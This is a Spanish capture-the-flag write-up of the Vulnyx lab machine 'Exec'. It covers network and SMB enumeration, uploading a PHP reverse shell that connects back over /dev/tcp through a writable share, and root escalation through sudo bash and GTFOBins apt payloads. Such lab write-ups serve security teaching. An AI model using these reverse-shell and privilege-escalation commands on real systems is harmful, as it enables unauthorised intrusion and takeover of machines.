

Máquina Exec (Vulnyx)

De Ignacio Millán Ledesma Publicado el: 18 octubre



Comenzamos con averiguar la dirección IP de la Máquina Víctima, para ello primeramente utilizaremos la herramienta **netdiscover**, para ello ejecutamos el siguiente comando:

```
$ netdiscover -i eth1 -r 10.0.2.0/24
```

```
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
```

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:73:c5:03	1	60	PCS Systemtechnik GmbH
10.0.2.21	08:00:27:4e:a5:95	1	60	PCS Systemtechnik GmbH

- **Kali (Máquina Atacante):** 10.0.2.4
- **Máquina Víctima:** 10.0.2.21

Comprobamos si tenemos conexión con la Máquina víctima, para ello ejecutamos el siguiente comando:

```
$ ping -c 1 10.0.2.21
```

```
PING 10.0.2.21 (10.0.2.21) 56(84) bytes of data:
64 bytes from 10.0.2.21: icmp_seq=1 ttl=64 time=1.53 ms

— 10.0.2.21 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.529/1.529/1.529/0.000 ms
```

Como se puede comprobar por el TTL nos enfrentamos a una Máquina **Linux**.

A continuación, realizamos con la herramienta **nmap** un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

```
$ nmap -Pn 10.0.2.21 -sVC
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-09 03:46 CEST
Nmap scan report for 10.0.2.21
Host is up (0.00019s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
|_ ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp    open  http         Apache httpd 2.4.57 ((Debian))
|_ http-server-header: Apache/2.4.57 (Debian)
|_ http-title: Apache2 Debian Default Page: It works
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
MAC Address: 08:00:27:4E:A5:95 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ smb2-security-mode:
|   3:1:1:
|_   Message signing enabled but not required
|_ nbstat: NetBIOS name: EXEC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ smb2-time:
|   date: 2025-10-09T01:46:57
|_   start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds
```

Como podemos comprobar la Máquina Víctima tiene abiertos los puertos **22**, **80**, **139** y **445**.

Enumeramos el servicio SMB (**445**) listando los recursos compartidos sin usar credenciales, con la ayuda de la herramienta **smbclient**, para ello ejecutamos el siguiente comando:

```
$ smbclient -N -L 10.0.2.21
```

Sharename	Type	Comment
print\$	Disk	Printer Drivers
server	Disk	Developer Directory
IPC\$	IPC	IPC Service (Samba 4.17.12-Debian)
nobody	Disk	Home Directories

Encontramos el **Share** llamado **server**.

Con la ayuda de la herramienta **smbmap** enumero por *sesiones nulas* para ver que permisos tenemos en los recursos, para ello ejecutamos el siguiente comando:

```
$ smbmap -H 10.0.2.21 -u "" -p ""
```

[*] IP: 10.0.2.21:445	Name: 10.0.2.21	Status: NULL Session	Permissions	Comment
Disk				
print\$		NO ACCESS		Printer Drivers
server		READ, WRITE		Developer Directory
IPC\$		NO ACCESS		IPC Service (Samba 4.17.12-Debian)
nobody		NO ACCESS		Home Directories

En el recurso compartido llamado **server**, tenemos permisos de **lectura y escritura**.

Nos conectamos al recurso y una vez conectados listamos el contenido, para ello ejecutamos el siguiente comando:

```
$ smbclient -U "" \\10.0.2.21\server
```

```
smb: \> ls
.
..
index.html
19480400 blocks of size 1024. 16378816 blocks available
smb: \>
```

Encontramos un archivo en el recurso compartido llamado *index.html*, haciéndonos pensar que está conectado con el puerto **80**.

Nos creamos una reverse shell en *.php* de la siguiente manera, para ello ejecutamos el siguiente comando:

```
$ nano shell.php
```

```
GNU nano 8.4
<?php
exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.0.2.4/443 0>&1'")
?>
```

La subimos al recurso compartido, para ello ejecutamos el siguiente comando:

```
smb: \> put shell.php
```

A continuación, con la ayuda de la herramienta **netcat(nc)** nos ponemos a la escucha por el puerto **443** por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

```
$ nc -lvp 443
```

```
listening on [any] 443 ...
```

La ejecutamos de la siguiente manera.

```
10.0.2.21/shell.php
```

```
listening on [any] 443 ...
connect to [10.0.2.4] from (UNKNOWN) [10.0.2.21] 51826
bash: cannot set terminal process group (501): Inappropriate ioctl for device
bash: no job control in this shell
www-data@exec:/var/www/html$
```

Y obtenemos una shell como **www-data**.

Enumeramos los permisos **sudo**, para ello ejecutamos el siguiente comando:

```
$ sudo -l
```

```

www-data@exec:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on exec:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
  use_pty
User www-data may run the following commands on exec:
  (s3cur4) NOPASSWD: /usr/bin/bash

```

Nos encontramos el binario **bash** que lo podemos ejecutar como el usuario **s3cur4**, por lo tanto nos vamos a la pagina [gtfobins](#) a mirar el payload.

Sudo

If the binary is allowed to run as superuser by **sudo**, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo bash
```

Lo ejecutamos, para ello ejecutamos el siguiente comando:

```
$ sudo -u s3cur4 /usr/bin/bash
```

```

www-data@exec:/var/www/html$ sudo -u s3cur4 /usr/bin/bash
sudo -u s3cur4 /usr/bin/bash
whoami
s3cur4

```

¡¡¡Somos **s3cur4**!!!

A continuación, hacemos un tratamiento de la **TTY** para obtener una shell interactiva y así evitar problemas, para ello ejecutaremos los siguientes comandos:

```
$ script /dev/null -c bash
```

```
Ctrl + Z
```

```
$ stty raw -echo;fg
```

```
$ reset xterm
```

```
$ export TERM=xterm
```

De nuevo como el usuario **s3cur4** enumeramos los permisos **sudo**, para ello ejecutamos de nuevo el siguiente comando:

```
$ sudo -l
```

```

s3cur4@exec:/var/www/html$ sudo -l
Matching Defaults entries for s3cur4 on exec:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
  use_pty
User s3cur4 may run the following commands on exec:
  (root) NOPASSWD: /usr/bin/apt

```

Nos encontramos con el binario **apt** que lo podemos ejecutar como el usuario **root**, por lo tanto nos vamos de nuevo a la pagina [gtfobins](#) a mirar el payload.

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

- (a) This invokes the default pager, which is likely to be `less`, other functions may apply.

```
sudo apt changelog apt
! /bin/sh
```

- (b) For this to work the target package (e.g., `sl`) must not be installed.

```
TF=$(mktemp)
echo "Dpkg::Pre-Invoke {"/bin/sh;false"}" > $TF
sudo apt install -c $TF sl
```

- (c) When the shell exits the `update` command is actually executed.

```
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
```

Escogemos la opción **C**, y la ejecutamos de la siguiente manera:

```
$ sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
```

```
s3cur4@exec:/var/www/html$ sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
# whoami
root
```

!!!Ya somos **root**!!!